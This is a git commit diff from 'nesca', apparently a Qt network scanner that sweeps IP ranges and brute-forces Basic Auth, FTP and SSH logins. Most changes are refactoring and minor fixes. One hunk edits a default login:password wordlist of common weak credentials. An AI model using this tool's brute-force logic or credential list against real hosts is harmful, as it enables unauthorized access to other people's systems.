Merge branch 'master' of git.d3w.org:cora32/nesca

This commit is contained in:
cora48 2015-03-24 14:28:18 +03:00
commit 462729914a
14 changed files with 39 additions and 29 deletions

View File

@ -54,7 +54,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
return lps;
};
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");

View File

@ -1,9 +1,8 @@
#ifndef BASICAUTH_H
#define BASICAUTH_H
#include "Connector.h"
#include "BruteUtils.h"
#include "Utils.h"
#include "Connector.h"
#include "externData.h"
#include "mainResources.h"

View File

@ -1,6 +1,8 @@
#ifndef BRUTEUTILS_H
#define BRUTEUTILS_H
#include "externData.h"
class BruteUtils {
public:

View File

@ -1,8 +1,8 @@
#ifndef CHECKKEY_TH_H
#define CHECKKEY_TH_H
#pragma once
#include "STh.h"
extern int emitIfOK;
class CheckKey_Th : public QThread
{

View File

@ -1,4 +1,5 @@
#include "Connector.h"
#include "SSHAuth.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
int _pingMyTarget(const char *ip)
@ -194,7 +195,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
QString(ip) + ":" + QString::number(port));
return -2;
} else if (res == 8) {
stt->doEmitionFoundData("Strange ftp repl. (" +
stt->doEmitionFoundData("Strange ftp reply. (" +
QString::number(res) + ") " + QString(ip) +
":" + QString::number(port));
return -2;
@ -227,7 +228,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
return buffer->size();
}
int Connector::_ConnectToPort(string ip, int port, char *hl)
int Connector::_ConnectToPort(std::string ip, int port, char *hl)
{
if(gPingNScan)
{

View File

@ -1,11 +1,8 @@
#ifndef CONNECTOR_H
#define CONNECTOR_H
#include "externData.h"
#include "Utils.h"
#include "BruteUtils.h"
#include "SSHAuth.h"
#include "STh.h"
#include "BruteUtils.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
#include <iphlpapi.h>
@ -13,16 +10,13 @@
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib,"curllib.lib")
#endif
#include "mainResources.h"
class Connector {
public:
static int nConnect(const char* ip, const int port, std::string *buffer,
const char *postData = NULL,
const std::vector<std::string> *customHeaders = NULL,
const string *lpString = NULL);
static int _ConnectToPort(string ip, int port, char *hl);
static int _SSHLobby(std::string ip, int port, std::string *buffer);
const std::string *lpString = NULL);
static int _ConnectToPort(std::string ip, int port, char *hl);
};
#endif // CONNECTOR_H

View File

@ -109,7 +109,7 @@ int MakePolygonLine(int gWidth)
if(Alive > 0)
{
if(xtx < 261 ) fact7+=1;
if(xtx < 254 ) fact7+=1;
else fact7-=1;
};
};

View File

@ -1,9 +1,8 @@
#ifndef FTPAUTH_H
#define FTPAUTH_H
#include "Connector.h"
#include "BruteUtils.h"
#include "Utils.h"
#include "Connector.h"
#include "externData.h"
#include "mainResources.h"

View File

@ -94,6 +94,10 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
if(!globalScanFlag) break;
strcpy(temp, sshlpLst[i]);
ptr1 = strstr(temp, ":");
if (ptr1 == NULL) {
stt->doEmitionRedFoundData("[SSH]Wrong format: " + QString(temp));
return -1;
}
sz = ptr1 - temp;
strncpy(login, temp, sz);
strcpy(pass, ptr1 + 1);

View File

@ -1,9 +1,8 @@
#ifndef SSHAUTH_H
#define SSHAUTH_H
#include "Connector.h"
#include "BruteUtils.h"
#include "Utils.h"
#include "Connector.h"
#include "externData.h"
#include "mainResources.h"

View File

@ -2187,6 +2187,11 @@ void nesca_3::changeNSTrackLabel(bool status)
else ui->NSTrackStatusLabel->setStyleSheet("background-color: black; border: 1px solid white;");
}
void nesca_3::onLinkClicked(QUrl link)
{
QDesktopServices::openUrl(link);
}
void nesca_3::ConnectEvrthng()
{
connect ( pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate()));

View File

@ -61,6 +61,7 @@ protected:
QString GetSSLContent(QString str);
void SSLConnect(QString str);
protected slots:
void onLinkClicked(QUrl);
void MaxBrutingThr_ChangeValue(QString str);
void ThreadDelay_ChangeValue(QString val);
void ChangePingerOK(bool val);

View File

@ -204,7 +204,13 @@ void _SaveBackupToFile()
FILE *savingFile = fopen("tempIPLst.bk", "w");
if (savingFile != NULL)
{
for(int tCounter = gC; tCounter < flCounter; ++tCounter)
sprintf(ipRange, "%s-%d.%d.%d.%d\n",
currentIP,
ipsendfl[gC][0], ipsendfl[gC][1], ipsendfl[gC][2], ipsendfl[gC][3]);
fputs(ipRange, savingFile);
ZeroMemory(ipRange, sizeof(ipRange));
for(int tCounter = gC + 1; tCounter < flCounter; ++tCounter)
{
sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n",
ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3],
@ -751,7 +757,7 @@ std::string toLowerStr(const char *str)
}
void _connect() {
string ip = "";
std::string ip = "";
while (globalScanFlag) {
std::unique_lock<std::mutex> lk(Threader::m);
Threader::cv.wait(lk, []{return Threader::ready; });
@ -781,7 +787,7 @@ void _connect() {
}
}
inline void progressOutput(long long unsigned int target) {
inline void progressOutput(unsigned long target) {
char targetNPers[128] = {0};
float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0);
@ -792,13 +798,13 @@ inline void progressOutput(long long unsigned int target) {
sprintf(metaPercent, "%.1f",
percent);
}
void verboseProgress(long long unsigned int target, const char *ip) {
void verboseProgress(unsigned long target, const char *ip) {
stt->doEmitionIPRANGE(QString(ip));
strcpy(currentIP, ip);
progressOutput(target);
}
void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD, const char *mask) {
void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, const char *mask) {
stt->doEmitionIPRANGE(QString(ip) + QString(TLD));
strcpy(currentIP, mask);
@ -2065,7 +2071,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
if(!globalScanFlag) return 0;
verboseProgressDNS(--gTargets, mask, top_level_domain, saveMask);
string res = string(mask) + string(top_level_domain);
std::string res = std::string(mask) + std::string(top_level_domain);
++indexIP;
@ -2193,7 +2199,7 @@ int startScan(char* args) {
++indexIP;
tAddr.s_addr = ntohl(i);
res = string(inet_ntoa(tAddr));
res = std::string(inet_ntoa(tAddr));
verboseProgress(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect);
@ -2398,7 +2404,7 @@ int startScan(char* args) {
++indexIP;
tAddr.s_addr = ntohl(i);
std::string res = string(inet_ntoa(tAddr));
std::string res = std::string(inet_ntoa(tAddr));
verboseProgress(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect);
}

View File

@ -22,5 +22,5 @@ admin:123123
admin:654321
root:password
admin:pasword
test:test
root:1qazXSW@
test:test